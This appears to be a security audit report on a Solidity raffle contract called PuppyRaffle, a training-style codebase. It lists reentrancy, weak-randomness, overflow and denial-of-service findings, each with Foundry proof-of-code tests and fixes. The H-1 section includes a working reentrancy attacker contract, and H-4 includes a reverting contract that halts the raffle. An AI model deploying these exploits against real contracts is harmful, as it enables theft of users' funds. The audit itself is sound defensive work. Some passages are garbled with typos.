Protocol Audit Report

Version 1.0

equious.eth

September 30, 2025

Protocol Audit Report

elsecaller0x

Sept 30, 2025

Prepared by: elsecaller0x Sole auditor: elsecaller0x

Table of Contents

  * [M-1] Looping Though players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
  * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
  * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for a non-existent players and for index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Gas
  * [G-1] Unchanged State variable should be declared constant or immutable.
  * [G-2] storage variable in a loop should be cached
- Informational
  * [I-1]: Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of Solidity is not recommended
  * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, Which is not a best practice
  * [I-5] Use of "magic" numbers is discouraged
  * [I-6] State changes are missing events
  * [I-7] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
  - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The elsecaller0x team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ #– PuppyRaffle.sol

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this code base.

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance

Description: `PuppyRaffle::refund` function does not follow the CEI(Checks, Effects, Interactions) nd as a result enables participants to drain contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` Array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
         ↪  can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
         ↪  refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);

@>      [playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that call the `PuppyRaffle::refund` function again and claims another refund. They could continue the cycle till the contract balance is drained.

Impact: All fee paid by raffle entrants could be stolen by the malicious participants.

Proof of Concept: 1. User enters the raffle. 2. Attacker set up a contract with a `fallback` function that call `PuppyRaffle::refund` 3. Attacker enters the raffle. 4. Attacker calls `PuppyRaffle` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
 ↪  ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =
 ↪  address(attackerContract).balance;
```

```
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //ec
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ",
         ↪  startingAttackContractBalance);
        console.log("starting contract balance: ", startingContractBalance);

        console.log("ending attacker contract balance: ",
         ↪  address(attackerContract).balance);
        console.log("ending contract balance: ",
         ↪  address(puppyRaffle).balance);
    }
```

And this contract as well

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
```

```
            _stealMoney();
        }

        receive() external payable{
            _stealMoney();
        }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
 ↪  can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
 ↪  refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

IMPACT: HOOD LIKELIHOOD: HIGH

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows uses to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious uses can manipulate the values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner. Making the entire raffle worthless if it becomes a gas was as to who wins the raffles.

Impact: ANy user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy.

Proof Of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. 2. User can mine/manipulate their `msg.sender` value to result in their address bing used to generates the winner! 3. Uses can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well well-documented attack vector in the blockchain space.

Recommended Mitigation: There are a few recommendations. 1. Use chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
//myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:
5.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are
↪  currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly no the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second
     ↪  raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
     ↪  check
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with `uint64` type if too may fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
↪  are currently players active!");
```

There are more attack vectors with final require, se we recommend removing it regardless.

[H-4] Malicious winner can forever halt the raffle

Description: One the winner is chosen the selectWinner function sends the prize to the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a a payable `fallback` o `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the ERC721 contract, attempts to call the `onERC721Received` hook on the receiver if it is a samrt contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the onERC721Received hook expected. This will prevent minting the NFT and will revert the call to selectWinner.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
```

```
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the selectWinner function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of selectWinner.

Medium

[M-1] Looping Though players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the player's array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players whom enter when right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}
```

Impact: The costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging the later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_denialOfService() public {
        // address[] memory players = new address[](1);
        // players[0] = playerOne;
        // puppyRaffle.enterRaffle{value: entranceFee}(players);
        // assertEq(puppyRaffle.players(0), playerOne);
        vm.txGasPrice(1);

        //Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i));
        }

        //see how much gas it costs
        uint256 gasStart = gasleft();// This serves as a checkpoint
        puppyRaffle.enterRaffle{value: entranceFee *
    players.length}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);
        //Let's enter 100 players

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(uint160(i + playersNum));
        }

        //see how much gas it costs
        uint256 gasStartSecond = gasleft();// This serves as a checkpoint
        puppyRaffle.enterRaffle{value: entranceFee *
    players.length}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
    tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond);
```

```
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new waller addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```diff
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
 ↪  Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
 ↪  "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate
 ↪  player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
```

```diff
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
 ↪  "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The PuppyRaffle::withdrawFees function checks the totalFees equals the ETH balance of the contract (address(this).balance). Since this contract doesn't have a payable fallback or receive function, you'd think this wouldn't be possible, but a user could selfdesctruct a contract with ETH in it and force funds to the PuppyRaffle contract, breaking this check.

Impact: This would prevent the feeAddress from withdrawing fees. A malicious user could see a withdrawFee transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept: 1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees. 2. Malicious user sends 1 wei via a selfdestruct 3. feeAddress is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the PuppyRaffle::withdrawFees function.

```diff
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
 ↪  There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to teh duplicate check and a lottery reset could get very challenging

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue. 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for a non-existent players and for index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. But according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns
    (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }

    // q what if the players is at index 0
    // @audit if the player is at index 0, it'll return 0 and a player
      might think they are ot active!
    return 0;
}
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle. And any attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle — they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged State variable should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable`. - `PuppyRaffle::commonImageUri` should be `constant`. - `PuppyRaffle::rareImageUri` should be `constant`. - `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2] storage variable in a loop should be cached

Every time you call `players.length`, you read from storage, as opposed to memory which is more gas efficient

```diff
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle: Duplicate
 ↪   player");
              }
          }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation **Recommendations:** Deploy with any of the following Solidity versions: 0.8.18 The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither document for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 73

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 234

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, Which is not a best practice

```diff
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see the number literal in a codebase and, it;s much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

```
    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
 ↪  POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State changes are missing events

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```